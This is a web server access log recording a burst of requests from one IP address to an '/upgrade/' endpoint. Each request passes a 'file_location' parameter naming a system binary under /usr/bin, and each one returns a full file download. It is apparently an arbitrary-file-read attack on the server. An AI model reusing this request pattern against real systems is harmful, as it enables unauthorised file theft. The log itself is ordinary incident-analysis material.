45.135.193.11 - - [11/Sep/2026:22:47:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbashbug-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbashbug-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzcmp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96765 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbzcmp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-nm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-nm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgzexe&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98751 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgzexe&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 10286271 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmapscrn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106799 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmapscrn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpcinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109134 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpcinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-delta&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106631 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-delta&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbiprof&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbiprof&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffindmnt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119465 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffindmnt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-wks-client&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 156808 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-wks-client&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fm4&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 218039 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fm4&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpasswd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpasswd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperl5.32.1&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperl5.32.1&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsccmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102735 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsccmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83-pecl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95854 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83-pecl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffind-repos-of-install&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffind-repos-of-install&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffribidi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffribidi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetfacl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107215 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetfacl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-fstest&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 716194 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-fstest&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhostnamectl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108156 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhostnamectl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmpris-proxy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 135919 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmpris-proxy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnisdomainname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103138 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnisdomainname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cache&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95858 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-cache&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 877835 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlbinlog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1137448 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlbinlog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlthanks&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114440 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlthanks&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2ps2&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96248 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2ps2&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-analyze&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 171191 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-analyze&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funflatten&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101410 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funflatten&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fusers&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107878 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fusers&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82-pecl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95957 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82-pecl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 2894672 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php83&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-file&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 533092 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-file&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficuinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100052 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ficuinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-antivirus&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96312 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-antivirus&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstream&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98791 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstream&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 191053 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzipinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbashbug&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99335 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbashbug&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcommand&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95823 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcommand&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffuse2fs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127153 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffuse2fs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fopenvt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104489 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fopenvt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetarch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103209 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetarch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamnl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103597 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteamnl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftmon&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113348 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftmon&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-c++&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95662 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-c++&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-ar&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107036 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcc-ar&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgobject-query&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100379 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgobject-query&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfgettable&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpsfgettable&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsadf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 278686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsadf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwithsctp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwithsctp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflex&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 240099 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflex&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-typefind-1.0&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101689 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-typefind-1.0&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhunspell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 144265 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhunspell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman-recode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106210 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fman-recode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101051 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-cls-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlbug&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114396 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlbug&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_emc_trespass&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100226 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_emc_trespass&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsync&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107976 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsync&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-scan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100596 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-scan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:47:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-render-label&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 537706 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-render-label&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
